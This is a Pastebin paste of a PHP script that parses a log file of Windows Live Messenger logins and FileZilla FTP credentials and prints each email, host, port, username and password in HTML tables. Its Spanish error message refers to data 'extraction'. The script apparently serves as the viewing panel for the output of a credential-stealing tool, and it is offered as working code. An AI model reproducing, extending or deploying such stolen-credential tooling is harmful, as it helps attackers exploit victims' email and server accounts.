Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $finished = FALSE;
- $reading = false;
- $myFile = "dbfile.cat";
- $fh = fopen($myFile, 'r');
- $thedata = fread($fh, filesize($myFile));
- fclose($fh);
- while (!$reading) :
- $bpos = strpos($thedata, "|");
- $epos = strpos($thedata, ")");
- $stype = substr($thedata,1,3);
- $thedata = substr($thedata, $bpos+1);
- $data = substr($thedata,0, $epos-5);
- $dpos = strpos($thedata, "(");
- $thedata = substr($thedata, $dpos);
- if ($stype=='WLM') {
- $ipos = strpos($data, "|");
- $user = substr($data,0, $ipos);
- $pass = substr($data, $ipos+1);
- echo '<table border="1" cellpadding="5">
- <tr><td><center>Windows Live Messenger</center></td>
- <tr><td>Email:</td><td>'.$user.'</td></tr>
- <tr><td>Password:</td><td> '.$pass.'</td></tr>';
- }else if($stype=='FZS') {
- $ipos= strpos($data, "|");
- $ip = substr($data, 0,$ipos);
- $data = substr($data, $ipos+1);$ipos= strpos($data, "|");
- $port = substr($data, 0,$ipos);
- $data = substr($data, $ipos+1);$ipos= strpos($data, "|");
- $user = substr($data, 0,$ipos);
- $data = substr($data, $ipos+1);$ipos= strpos($data, "|");
- $pass = substr($data, 0);
- echo '<table cellpadding="3" border="1">
- <tr><td><center>Filezilla</center></td></tr>
- <tr><td>IP/Host:</td><td> '.$ip.'</td></tr>
- <tr><td>Port:</td><td> '.$port.'</td></tr>
- <tr><td>Username:</td><td>'.$user.'</td></tr>
- <tr><td>Password:</td><td> '.$pass.'</td></tr>';
- }
- $stype='';
- if ($dpos===false) {
- $reading=true;
- $finished=true;
- }
- endwhile;
- if ($finished==FALSE) {
- echo "No se ha mostrado el log.Error en el proceso de extraccion de datos.";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement